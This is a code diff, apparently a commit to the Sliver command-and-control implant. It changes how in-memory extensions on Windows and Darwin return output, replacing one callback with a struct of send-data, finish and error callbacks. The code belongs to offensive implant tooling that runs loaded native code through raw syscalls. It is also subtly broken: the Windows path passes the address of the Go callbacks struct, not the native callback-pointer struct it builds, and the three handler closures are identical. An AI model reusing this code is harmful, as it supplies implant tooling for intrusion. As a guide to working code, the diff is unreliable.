update handlers to use new callbacks struct

implant/sliver/extension/extension.go

@@ -28,9 +28,15 @@ import (
 
 var extensions map[string]Extension
 
+type Callbacks struct {
+	SendData  func([]byte)
+	OnFinish  func([]byte)
+	SendError func([]byte)
+}
+
 type Extension interface {
 	Load() error
-	Call(exportName string, arguments []byte, callback func([]byte)) error
+	Call(exportName string, arguments []byte, callbacks Callbacks) error
 	GetID() string
 	GetArch() string
 }
@@ -47,9 +53,9 @@ func List() []string {
 	return extList
 }
 
-func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
+func Run(extID string, funcName string, arguments []byte, callbacks Callbacks) error {
 	if ext, found := extensions[extID]; found {
-		return ext.Call(funcName, arguments, callback)
+		return ext.Call(funcName, arguments, callbacks)
 	}
 	// {{if .Config.Debug}}
 	for id, ext := range extensions {

implant/sliver/extension/extension_darwin.go

@@ -85,7 +85,7 @@ func (d *DarwinExtension) Load() error {
 	return nil
 }
 
-func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
+func (d *DarwinExtension) Call(export string, arguments []byte, callbacks Callbacks) error {
 	// We currently have 2 issues with Darwin extensions:
 	// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
 	// - we don't have Go callback support for the loaded extension,
@@ -124,7 +124,7 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
 	// We currently don't have a way to trigger a callback
 	// in the loaded code for Darwin.
 	if outData.Len() > 0 {
-		onFinish(outData.Bytes())
+		callbacks.OnFinish(outData.Bytes())
 	}
 	return nil
 }

implant/sliver/extension/extension_windows.go

@@ -36,6 +36,12 @@ const (
 	Failure = 1
 )
 
+type CallbacksPtr struct {
+	sendData  uintptr
+	onFinish  uintptr
+	sendError uintptr
+}
+
 type WindowsExtension struct {
 	id     string
 	data   []byte
@@ -92,15 +98,21 @@ func (w *WindowsExtension) Load() error {
 }
 
 // Call - Call an extension export
-func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
+func (w *WindowsExtension) Call(export string, arguments []byte, callbacks Callbacks) error {
 	var (
-		argumentsPtr  uintptr
-		argumentsSize uintptr
+		argumentsPtr       uintptr
+		argumentsSize      uintptr
+		callbacksPtr       CallbacksPtr
+		callbacksStructPtr uintptr
 	)
 	if w.module == nil {
 		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
 	}
-	callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
+	callbacksPtr.onFinish = syscall.NewCallback(newWindowsExtensionCallback(callbacks.OnFinish))
+	callbacksPtr.sendData = syscall.NewCallback(newWindowsExtensionCallback(callbacks.SendData))
+	callbacksPtr.sendError = syscall.NewCallback(newWindowsExtensionCallback(callbacks.SendError))
+	callbacksStructPtr = uintptr(unsafe.Pointer(&callbacks))
+
 	exportPtr, err := w.module.ProcAddressByName(export)
 	if err != nil {
 		return err
@@ -117,7 +129,7 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	// where goCallback = int(char *, int)
 	w.Lock()
 	defer w.Unlock()
-	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
+	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callbacksStructPtr)
 	if errNo != 0 {
 		return errors.New(errNo.Error())
 	}

implant/sliver/handlers/handlers_darwin.go

@@ -122,11 +122,32 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
 		Response: &commonpb.Response{},
 	}
 	gotOutput := false
-	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
+
+	onFinish := func(out []byte) {
 		gotOutput = true
 		callResp.Output = out
 		data, err = proto.Marshal(callResp)
 		resp(data, err)
+	}
+
+	sendData := func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+
+	sendError := func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+
+	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, extension.Callbacks{
+		OnFinish:  onFinish,
+		SendData:  sendData,
+		SendError: sendError,
 	})
 	// Only send back synchronously if there was an error
 	if err != nil || !gotOutput {

implant/sliver/handlers/handlers_windows.go

@@ -924,11 +924,31 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
 
 	callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
 	gotOutput := false
-	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
+	var onFinish = func(out []byte) {
 		gotOutput = true
 		callResp.Output = out
 		data, err = proto.Marshal(callResp)
 		resp(data, err)
+	}
+
+	var sendData = func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+
+	var sendError = func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+
+	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, extension.Callbacks{
+		OnFinish:  onFinish,
+		SendData:  sendData,
+		SendError: sendError,
 	})
 	// Only send back synchronously if there was an error
 	if err != nil || !gotOutput {